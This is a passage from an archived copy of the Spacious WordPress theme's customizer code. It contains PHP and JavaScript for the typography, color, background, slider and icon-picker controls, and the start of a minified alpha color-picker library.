fontFamily = value['font-family'],
variants = control.getTypographyVariants( fontFamily ),
selector = control.selector + ' .font-weight select',
data = [],
isValid = false,
variantSelector;
if ( false !== variants ) {
$( control.selector + ' .font-weight' ).show();
_.each(
variants,
function ( variant ) {
if ( value['font-weight'] === variant.id ) {
isValid = true;
}
data.push(
{
id : variant.id,
text : variant.label
}
);
}
);
if ( ! isValid ) {
value['font-weight'] = 'regular';
}
if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
$( selector ).selectWoo( 'destroy' );
$( selector ).empty();
}
// Instantiate selectWoo with the data.
variantSelector = $( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
variantSelector.val( value['font-weight'] ).trigger( 'change' );
variantSelector.on(
'change',
function () {
control.saveTypographyValue( 'font-weight', $( this ).val(), $( this ), name );
}
);
} else {
$( control.selector + ' .font-weight' ).hide();
}
},
getTypographyVariants : function ( fontFamily ) {
var control = this,
fonts = control.getTypographyFonts();
var variants = false;
_.each(
fonts.standard,
function ( font ) {
if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
variants = font.variants;
return variants;
}
}
);
_.each(
fonts.google,
function ( font ) {
if ( font.family === fontFamily ) {
variants = font.variants;
return variants;
}
}
);
// For custom fonts.
if ( ! _.isUndefined( fonts.custom ) ) {
_.each(
fonts.custom,
function ( font ) {
if ( font.custom === fontFamily ) {
variants = font.variants;
return variants;
}
}
);
}
return variants;
},
renderTypographySubsetSelector : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
value = JSON.parse( input.val() ),
fontFamily = value['font-family'],
subsets = control.getTypographySubsets( fontFamily ),
selector = control.selector + ' .subsets select',
data = [],
validValue = value.subsets,
subsetSelector;
if ( false !== subsets ) {
$( control.selector + ' .subsets' ).show();
_.each(
subsets,
function ( subset ) {
if ( _.isObject( validValue ) ) {
if ( - 1 === validValue.indexOf( subset.id ) ) {
validValue = _.reject(
validValue,
function ( subValue ) {
return subValue === subset.id;
}
);
}
}
data.push(
{
id : subset.id,
text : subset.label
}
);
}
);
} else {
$( control.selector + ' .subsets' ).hide();
}
if ( $( selector ).hasClass( 'select2-hidden-accessible' ) ) {
$( selector ).selectWoo( 'destroy' );
$( selector ).empty();
}
// Instantiate selectWoo with the data.
subsetSelector = $( selector ).selectWoo(
{
data : data,
width : '100%'
}
);
subsetSelector.val( validValue ).trigger( 'change' );
subsetSelector.on(
'change',
function () {
control.saveTypographyValue( 'subsets', $( this ).val(), $( this ), name );
}
);
},
getTypographySubsets : function ( fontFamily ) {
var control = this,
subsets = false,
fonts = control.getTypographyFonts();
_.each(
fonts.google,
function ( font ) {
if ( font.family === fontFamily ) {
subsets = font.subsets;
return subsets;
}
}
);
return subsets;
},
saveTypographyFontSize : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() ),
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name ),
newValue = {
'font-size' : {}
};
controlContainer.find( '.font-size .control-wrap' ).each(
function () {
var controlValue = $( this ).find( 'input' ).val();
var device = $( this ).find( 'input' ).data( 'device' );
newValue['font-size'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
$.extend( val, newValue );
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
saveTypographyLineHeight : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() ),
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name ),
newValue = {
'line-height' : {}
};
controlContainer.find( '.line-height .control-wrap' ).each(
function () {
var controlValue = $( this ).find( 'input' ).val();
var device = $( this ).find( 'input' ).data( 'device' );
newValue['line-height'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
$.extend( val, newValue );
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
saveTypographyLetterSpacing : function ( element, name, control_atts ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() ),
control_name = control_atts.name,
controlContainer = control.container.find( '#customize-control-' + control_name ),
newValue = {
'letter-spacing' : {}
};
controlContainer.find( '.letter-spacing .control-wrap' ).each(
function () {
var controlValue = $( this ).find( 'input' ).val();
var device = $( this ).find( 'input' ).data( 'device' );
newValue['letter-spacing'][device] = controlValue;
}
);
// Extend/Update the `val` object to include `newValue`'s new data as an object.
$.extend( val, newValue );
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
saveTypographyValue : function ( property, value, element, name ) {
var control = this,
input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ),
val = JSON.parse( input.val() );
val[property] = value;
$( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
name = $( element ).parents( '.customize-control' ).attr( 'id' );
name = name.replace( 'customize-control-', '' );
control.container.trigger(
'spacious_settings_changed',
[
control,
element,
val,
name
]
);
},
} );
}
)( jQuery );
core/custom-controls/color/class-spacious-color-control.php 0000666 00000005754 15236704333 0020246 0 ustar 00 <?php
/**
* Extend WP_Customize_Control to add the color control.
*
* Class Spacious_Color_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to extend WP_Customize_Control to add the color customize control.
*
* Class Spacious_Color_Control
*/
class Spacious_Color_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-color';
/**
* Enqueue control related scripts/styles.
*/
public function enqueue() {
parent::enqueue();
/**
* Color picker strings from WordPress.
*
* Added since WordPress 5.5 has removed them causing alpha color not appearing issue.
*/
if ( version_compare( $GLOBALS['wp_version'], '5.5', '>=' ) ) {
wp_localize_script(
'wp-color-picker',
'wpColorPickerL10n',
array(
'clear' => esc_html__( 'Clear', 'spacious' ),
'clearAriaLabel' => esc_html__( 'Clear color', 'spacious' ),
'defaultString' => esc_html__( 'Default', 'spacious' ),
'defaultAriaLabel' => esc_html__( 'Select default color', 'spacious' ),
'pick' => esc_html__( 'Select Color', 'spacious' ),
'defaultLabel' => esc_html__( 'Color value', 'spacious' ),
)
);
}
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['default'] = $this->setting->default;
if ( isset( $this->default ) ) {
$this->json['default'] = $this->default;
}
$this->json['value'] = $this->value();
$this->json['link'] = $this->get_link();
$this->json['id'] = $this->id;
$this->json['label'] = esc_html( $this->label );
$this->json['description'] = $this->description;
}
/**
* An Underscore (JS) template for this control's content (but not its container).
*
* Class variables for this control class are available in the `data` JS object;
* export custom variables by overriding {@see WP_Customize_Control::to_json()}.
*
* @see WP_Customize_Control::print_template()
*
* @access protected
*/
protected function content_template() {
?>
<div class="customizer-wrapper">
<div class="customizer-text">
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
</div>
<div class="customize-control-content">
<input class="spacious-color-picker-alpha color-picker-hex"
type="text"
data-alpha-enabled="true"
data-default-color="{{ data.default }}"
value="{{ data.value }}"
/>
</div>
</div>
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
public function render_content() {
}
}
core/custom-controls/color/color.js 0000666 00000001400 15236704333 0013446 0 ustar 00 /**
* Color picker control JS to handle color picker rendering within customize control.
*
* File `color.js`.
*
* @package Spacious
*/
(
function ( $ ) {
$( window ).on( 'load', function () {
$( 'html' ).addClass( 'colorpicker-ready' );
} );
wp.customize.controlConstructor[ 'spacious-color' ] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
this.container.find( '.spacious-color-picker-alpha' ).wpColorPicker( {
change : function ( event, ui ) {
var color = ui.color.toString();
if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
control.setting.set( color );
}
}
} );
}
} );
}
)( jQuery );
core/custom-controls/background/class-spacious-background-control.php 0000666 00000017547 15236704333 0022253 0 ustar 00 <?php
/**
* Extend WP_Customize_Control to add the background control.
*
* Class Spacious_Color_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to extend WP_Customize_Control to add the background customize control.
*
* Class Spacious_Background_Control
*/
class Spacious_Background_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-background';
/**
* Enqueue control related scripts/styles.
*/
public function enqueue() {
parent::enqueue();
wp_localize_script(
'spacious-customize-controls',
'SpaciousCustomizerControlBackground',
array(
'placeholder' => esc_html__( 'No file selected', 'spacious' ),
)
);
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['default'] = $this->setting->default;
if ( isset( $this->default ) ) {
$this->json['default'] = $this->default;
}
$this->json['value'] = $this->value();
$this->json['link'] = $this->get_link();
$this->json['id'] = $this->id;
$this->json['label'] = esc_html( $this->label );
$this->json['description'] = $this->description;
}
/**
* An Underscore (JS) template for this control's content (but not its container).
*
* Class variables for this control class are available in the `data` JS object;
* export custom variables by overriding {@see WP_Customize_Control::to_json()}.
*
* @see WP_Customize_Control::print_template()
*
* @access protected
*/
protected function content_template() {
?>
<div class="customizer-text">
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
</div>
<div class="customize-control-content">
<div class="background-color">
<span class="customize-control-title"><?php esc_html_e( 'Background Color', 'spacious' ); ?></span>
<input data-name="{{ data.name }}"
type="text"
data-default-color="{{ data.default['background-color'] }}"
data-alpha-enabled="true"
value="{{ data.value['background-color'] }}"
class="spacious-color-picker-alpha color-picker-hex"
/>
</div>
<div class="background-image">
<span class="customize-control-title"><?php esc_html_e( 'Background Image', 'spacious' ); ?></span>
<div class="attachment-media-view background-image-upload">
<# if ( data.value['background-image'] ) { #>
<div class="thumbnail thumbnail-image"><img src="{{ data.value['background-image'] }}" alt="" />
</div>
<# } else { #>
<div class="placeholder"><?php esc_html_e( 'No Image Selected', 'spacious' ); ?></div>
<# } #>
<div class="actions">
<button data-name="{{ data.name }}"
class="button background-image-upload-remove-button<# if ( ! data.value['background-image'] ) { #> hidden <# } #>"
>
<?php esc_attr_e( 'Remove', 'spacious' ); ?>
</button>
<button data-name="{{ data.name }}"
type="button"
class="button background-image-upload-button"
>
<?php esc_attr_e( 'Select Image', 'spacious' ); ?>
</button>
</div>
</div>
</div>
<div class="background-repeat">
<span class="customize-control-title"><?php esc_html_e( 'Background Repeat', 'spacious' ); ?></span>
<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
<option value="no-repeat"
<# if ( 'no-repeat' === data.value['background-repeat'] ) { #> selected <# }
#>><?php esc_html_e( 'No Repeat', 'spacious' ); ?></option>
<option value="repeat"
<# if ( 'repeat' === data.value['background-repeat'] ) { #> selected <# }
#>><?php esc_html_e( 'Repeat All', 'spacious' ); ?></option>
<option value="repeat-x"
<# if ( 'repeat-x' === data.value['background-repeat'] ) { #> selected <# }
#>><?php esc_html_e( 'Repeat Horizontally', 'spacious' ); ?></option>
<option value="repeat-y"
<# if ( 'repeat-y' === data.value['background-repeat'] ) { #> selected <# }
#>><?php esc_html_e( 'Repeat Vertically', 'spacious' ); ?></option>
</select>
</div>
<div class="background-position">
<span class="customize-control-title"><?php esc_html_e( 'Background Position', 'spacious' ); ?></span>
<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
<option value="left top"
<# if ( 'left top' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Left Top', 'spacious' ); ?></option>
<option value="left center"
<# if ( 'left center' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Left Center', 'spacious' ); ?></option>
<option value="left bottom"
<# if ( 'left bottom' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Left Bottom', 'spacious' ); ?></option>
<option value="right top"
<# if ( 'right top' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Right Top', 'spacious' ); ?></option>
<option value="right center"
<# if ( 'right center' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Right Center', 'spacious' ); ?></option>
<option value="right bottom"
<# if ( 'right bottom' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Right Bottom', 'spacious' ); ?></option>
<option value="center top"
<# if ( 'center top' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Center Top', 'spacious' ); ?></option>
<option value="center center"
<# if ( 'center center' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Center Center', 'spacious' ); ?></option>
<option value="center bottom"
<# if ( 'center bottom' === data.value['background-position'] ) { #> selected <# }
#>><?php esc_html_e( 'Center Bottom', 'spacious' ); ?></option>
</select>
</div>
<div class="background-size">
<span class="customize-control-title"><?php esc_html_e( 'Background Size', 'spacious' ); ?></span>
<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
<option value="cover"
<# if ( 'cover' === data.value['background-size'] ) { #> selected <# }
#>><?php esc_html_e( 'Cover', 'spacious' ); ?></option>
<option value="contain"
<# if ( 'contain' === data.value['background-size'] ) { #> selected <# }
#>><?php esc_html_e( 'Contain', 'spacious' ); ?></option>
<option value="auto"
<# if ( 'auto' === data.value['background-size'] ) { #> selected <# }
#>><?php esc_html_e( 'Auto', 'spacious' ); ?></option>
</select>
</div>
<div class="background-attachment">
<span class="customize-control-title"><?php esc_html_e( 'Background Attachment', 'spacious' ); ?></span>
<select data-name="{{ data.name }}" {{{ data.inputAttrs }}}>
<option value="scroll"
<# if ( 'scroll' === data.value['background-attachment'] ) { #> selected <# }
#>><?php esc_html_e( 'Scroll', 'spacious' ); ?></option>
<option value="fixed"
<# if ( 'fixed' === data.value['background-attachment'] ) { #> selected <# }
#>><?php esc_html_e( 'Fixed', 'spacious' ); ?></option>
</select>
</div>
<input class="background-hidden-value"
value="{{ JSON.stringify( data.value ) }}"
data-name="{{ data.name }}"
type="hidden" {{{ data.link }}}
>
</div>
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
public function render_content() {
}
}
core/custom-controls/background/background.js 0000666 00000014010 15236704333 0015451 0 ustar 00 /**
* Background image control JS to handle the background customize option.
*
* File `background.js`.
*
* @package Spacious
*/
(
function ( $ ) {
$( window ).on( 'load', function () {
$( 'html' ).addClass( 'colorpicker-ready' );
} );
wp.customize.controlConstructor['spacious-background'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Init background control.
control.initSpaciousBackgroundControl();
},
initSpaciousBackgroundControl : function () {
var control = this,
value = control.setting._value,
colorpicker = control.container.find( '.spacious-color-picker-alpha' );
// Hide unnecessary controls by default and show only when background image is set.
if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
control.container.find( '.customize-control-content > .background-repeat' ).hide();
control.container.find( '.customize-control-content > .background-position' ).hide();
control.container.find( '.customize-control-content > .background-size' ).hide();
control.container.find( '.customize-control-content > .background-attachment' ).hide();
}
// Background color setting.
colorpicker.wpColorPicker( {
change : function () {
if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
setTimeout(
function () {
control.saveValue( 'background-color', colorpicker.val() );
},
100
);
}
},
clear : function ( event ) {
var element = jQuery( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];
if ( element ) {
control.saveValue( 'background-color', '' );
}
}
} );
// Background image setting.
control.container.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
var image = wp.media( { multiple : false } ).open().on( 'select', function () {
// This will return the selected image from the Media Uploader, the result is an object.
var uploadedImage = image.state().get( 'selection' ).first(),
previewImage = uploadedImage.toJSON().sizes.full.url,
imageUrl,
imageID,
imageWidth,
imageHeight,
preview,
removeButton;
if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
previewImage = uploadedImage.toJSON().sizes.medium.url;
} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
}
imageUrl = uploadedImage.toJSON().sizes.full.url;
imageID = uploadedImage.toJSON().id;
imageWidth = uploadedImage.toJSON().width;
imageHeight = uploadedImage.toJSON().height;
// Show extra controls if the value has an image.
if ( '' !== imageUrl ) {
control.container.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
}
control.saveValue( 'background-image', imageUrl );
preview = control.container.find( '.placeholder, .thumbnail' );
removeButton = control.container.find( '.background-image-upload-remove-button' );
if ( preview.length ) {
preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
}
if ( removeButton.length ) {
removeButton.show();
}
} );
e.preventDefault();
} );
control.container.on( 'click', '.background-image-upload-remove-button', function ( e ) {
var preview,
removeButton;
e.preventDefault();
control.saveValue( 'background-image', '' );
preview = control.container.find( '.placeholder, .thumbnail' );
removeButton = control.container.find( '.background-image-upload-remove-button' );
// Hide unnecessary controls.
control.container.find( '.customize-control-content > .background-repeat' ).hide();
control.container.find( '.customize-control-content > .background-position' ).hide();
control.container.find( '.customize-control-content > .background-size' ).hide();
control.container.find( '.customize-control-content > .background-attachment' ).hide();
if ( preview.length ) {
preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
}
if ( removeButton.length ) {
removeButton.hide();
}
} );
// Background repeat setting.
control.container.on( 'change', '.background-repeat select', function () {
control.saveValue( 'background-repeat', jQuery( this ).val() );
} );
// Background position setting.
control.container.on( 'change', '.background-position select', function () {
control.saveValue( 'background-position', jQuery( this ).val() );
} );
// Background size setting.
control.container.on( 'change', '.background-size select', function () {
control.saveValue( 'background-size', jQuery( this ).val() );
} );
// Background attachment setting.
control.container.on( 'change', '.background-attachment select', function () {
control.saveValue( 'background-attachment', jQuery( this ).val() );
} );
},
/**
* Saves the value.
*/
saveValue : function ( property, value ) {
var control = this,
input = jQuery( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
val = control.setting._value;
val[property] = value;
jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
control.setting.set( val );
}
} );
}
)( jQuery );
core/custom-controls/slider/class-spacious-slider-control.php 0000666 00000005743 15236704333 0020554 0 ustar 00 <?php
/**
* Extend WP_Customize_Control to add the slider control.
*
* Class Spacious_Slider_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to extend WP_Customize_Control to add the slider customize control.
*
* Class Spacious_Slider_Control
*/
class Spacious_Slider_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-slider';
/**
* Suffix for slider.
*
* @var string
*/
public $suffix = '';
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['default'] = $this->setting->default;
if ( isset( $this->default ) ) {
$this->json['default'] = $this->default;
}
$this->json['value'] = $this->value();
$this->json['link'] = $this->get_link();
$this->json['id'] = $this->id;
$this->json['label'] = esc_html( $this->label );
$this->json['description'] = $this->description;
$this->json['suffix'] = $this->suffix;
$this->json['inputAttrs'] = '';
foreach ( $this->input_attrs as $attr => $value ) {
$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
}
}
/**
* An Underscore (JS) template for this control's content (but not its container).
*
* Class variables for this control class are available in the `data` JS object;
* export custom variables by overriding {@see WP_Customize_Control::to_json()}.
*
* @see WP_Customize_Control::print_template()
*
* @access protected
*/
protected function content_template() {
?>
<div class="customizer-text">
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
</div>
<div class="slider-wrapper <# if ( data.description ) { #>slider-description<# } #>">
<input {{{ data.inputAttrs }}}
type="range"
value="{{ data.value }}"
data-reset_value="{{ data.default }}"
/>
<div class="spacious-range-value">
<input type="number"
data-name="{{ data.name }}"
class="value spacious-range-input"
{{{ data.link }}}
value="{{ data.value }}"
{{{ data.inputAttrs }}}
>
<# if ( data.suffix ) { #>
<span class="spacious-range-unit">{{ data.suffix }}</span>
<# } #>
</div>
<div class="spacious-slider-reset">
<span class="dashicons dashicons-image-rotate spacious-control-tooltip"
title="<?php esc_attr_e( 'Back to default', 'spacious' ); ?>"
>
</span>
</div>
</div>
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
public function render_content() {
}
}
core/custom-controls/slider/slider.js 0000666 00000002522 15236704333 0013764 0 ustar 00 /**
* Slider control JS to handle the range of the inputs.
*
* File `slider.js`.
*
* @package Spacious
*/
wp.customize.controlConstructor['spacious-slider'] = wp.customize.Control.extend( {
ready : function () {
'use strict';
var control = this;
// Update the text value.
this.container.find( 'input[type=range]' ).on( 'input change', function () {
var value = jQuery( this ).val(),
input_number = jQuery( this ).closest( '.slider-wrapper' ).find( '.spacious-range-value .value' );
input_number.val( value );
input_number.change();
} );
// Handle the reset button.
this.container.find( '.spacious-slider-reset' ).click( function () {
var wrapper = jQuery( this ).closest( '.slider-wrapper' ),
input_range = wrapper.find( 'input[type=range]' ),
input_number = wrapper.find( '.spacious-range-value .value' ),
default_value = input_range.data( 'reset_value' );
input_range.val( default_value );
input_number.val( default_value );
input_number.change();
} );
// Save changes.
this.container.on( 'input change', 'input[type=number]', function () {
var value = jQuery( this ).val();
jQuery( this ).closest( '.slider-wrapper' ).find( 'input[type=range]' ).val( value );
control.setting.set( value );
} );
}
} );
core/custom-controls/fontawesome/class-spacious-fontawesome-control.php 0000666 00000005277 15236704333 0022670 0 ustar 00 <?php
/**
* Extend WP_Customize_Control to add the fontawesome control.
*
* Class Spacious_Fontawesome_Control
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to extend WP_Customize_Control to add the fontawesome customize control.
*
* Class Spacious_Fontawesome_Control
*/
class Spacious_Fontawesome_Control extends Spacious_Customize_Base_Additional_Control {
/**
* Control's Type.
*
* @var string
*/
public $type = 'spacious-fontawesome';
/**
* Enqueue control related scripts/styles.
*/
public function enqueue() {
parent::enqueue();
$suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';
// Asset path might be different according to theme.
wp_enqueue_style( 'font-awesome', get_template_directory_uri() . apply_filters( 'spacious_fontawesome_src', '/font-awesome/css/font-awesome' ) . $suffix . '.css', false, '4.7.0' );
// Get choices.
$fontawesome_array = $this->choices;
wp_localize_script(
'spacious-customize-controls',
'SpaciousCustomizerControlFontawesome' . $this->id,
$fontawesome_array
);
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['choices'] = $this->choices;
$this->json['id'] = $this->id;
$this->json['label'] = esc_html( $this->label );
$this->json['description'] = $this->description;
$this->json['inputAttrs'] = '';
foreach ( $this->input_attrs as $attr => $value ) {
$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
}
}
/**
* An Underscore (JS) template for this control's content (but not its container).
*
* Class variables for this control class are available in the `data` JS object;
* export custom variables by overriding {@see WP_Customize_Control::to_json()}.
*
* @see WP_Customize_Control::print_template()
*
* @access protected
*/
protected function content_template() {
?>
<label for="_spacious-fontawesome-{{{ data.id }}}">
<# if ( data.label ) { #><span class="customize-control-title">{{{ data.label }}}</span><# } #>
<# if ( data.description ) { #><span class="description customize-control-description">{{{ data.description }}}</span><# } #>
</label>
<div class="spacious-fontawesome-wrapper">
<select {{{ data.inputAttrs }}} id="_spacious-fontawesome-{{{ data.id }}}"></select>
</div> <!-- /.spacious-fontawesome-wrapper -->
<?php
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*/
public function render_content() {
}
}
core/custom-controls/fontawesome/fontawesome.js 0000666 00000003024 15236704333 0016074 0 ustar 00 /**
* Control: FontAwesome.
*/
(
function ( $ ) {
wp.customize.controlConstructor['spacious-fontawesome'] = wp.customize.Control.extend(
{
ready: function () {
'use strict';
var control = this;
control.initSpaciousFontawesomeControl();
},
initSpaciousFontawesomeControl: function() {
var control = this,
selector = control.selector,
elSelector = $( selector ).find( 'select' ),
faData = [],
value = control.setting._value,
data = window['SpaciousCustomizerControlFontawesome' + this.id],
faDataCounter = 0,
faSelect;
$.each(
data,
function ( key, value ) {
faData[ faDataCounter ] = {
id: value,
text: value
};
faDataCounter++;
}
);
// Add HTML inside the option element.
function formatState( state ) {
if ( ! state.id ) {
return state.text;
}
var $state = $(
'<span><i class="fa fa-lg ' + state.text + '"></i> ' + state.text + '</span>'
);
return $state;
};
// Apply selectWoo.
faSelect = elSelector.selectWoo(
{
data: faData,
width: '100%',
templateResult: formatState,
}
);
faSelect.val( value ).trigger( 'change' );
faSelect.on(
'change',
function () {
control.setting.set( elSelector.val() );
}
);
},
}
);
}
)( jQuery );
core/custom-controls/assets/js/wp-color-picker-alpha.min.js 0000666 00000014636 15236704333 0020031 0 ustar 00 !function(e,a){var l,o={version:300};if("wpColorPickerAlpha"in window&&"version"in window.wpColorPickerAlpha){var t=parseInt(window.wpColorPickerAlpha.version,10);if(!isNaN(t)&&o.version<=t)return}Color.fn.hasOwnProperty("to_s")||(Color.fn.to_s=function(o){"hex"===(o=o||"hex")&&this._alpha<1&&(o="rgba");var a="";return"hex"===o?a=this.toString():this.error||(a=this.toCSS(o).replace(/\(\s+/,"(").replace(/\s+\)/,")")),a},window.wpColorPickerAlpha=o,l="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",e.widget("a8c.iris",e.a8c.iris,{alphaOptions:{alphaEnabled:!1},_getColor:function(o){return o===a&&(o=this._color),this.alphaOptions.alphaEnabled?(o=o.to_s(this.alphaOptions.alphaColorType),this.alphaOptions.alphaColorWithSpace||(o=o.replace(/\s+/g,"")),o):o.toString()},_create:function(){try{this.alphaOptions=this.element.wpColorPicker("instance").alphaOptions}catch(o){}e.extend({},this.alphaOptions,{alphaEnabled:!1,alphaCustomWidth:130,alphaReset:!1,alphaColorType:"hex",alphaColorWithSpace:!1}),this._super()},_addInputListeners:function(i){function o(o){var a=i.val(),t=new Color(a),a=a.replace(/^(#|(rgb|hsl)a?)/,""),r=l.alphaOptions.alphaColorType;i.removeClass("iris-error"),t.error?""!==a&&i.addClass("iris-error"):"hex"===r&&"keyup"===o.type&&a.match(/^[0-9a-fA-F]{3}$/)||t.toIEOctoHex()!==l._color.toIEOctoHex()&&l._setOption("color",l._getColor(t))}var l=this;i.on("change",o).on("keyup",l._debounce(o,100)),l.options.hide&&i.one("focus",function(){l.show()})},_initControls:function(){var t,o,a,r;this._super(),this.alphaOptions.alphaEnabled&&(a=(o=(t=this).controls.strip.clone(!1,!1)).find(".iris-slider-offset"),r={stripAlpha:o,stripAlphaSlider:a},o.addClass("iris-strip-alpha"),a.addClass("iris-slider-offset-alpha"),o.appendTo(t.picker.find(".iris-picker-inner")),e.each(r,function(o,a){t.controls[o]=a}),t.controls.stripAlphaSlider.slider({orientation:"vertical",min:0,max:100,step:1,value:parseInt(100*t._color._alpha),slide:function(o,a){t.active="strip",t._color._alpha=parseFloat(a.value/100),t._change.apply(t,arguments)}}))},_dimensions:function(o){if(this._super(o),this.alphaOptions.alphaEnabled){for(var a=this,t=a.options,r=a.controls.square,o=a.picker.find(".iris-strip"),i=Math.round(a.picker.outerWidth(!0)-(t.border?22:0)),l=Math.round(r.outerWidth()),e=Math.round((i-l)/2),s=Math.round(e/2),n=Math.round(l+2*e+2*s);i<n;)e=Math.round(e-2),s=Math.round(s-1),n=Math.round(l+2*e+2*s);r.css("margin","0"),o.width(e).css("margin-left",s+"px")}},_change:function(){var 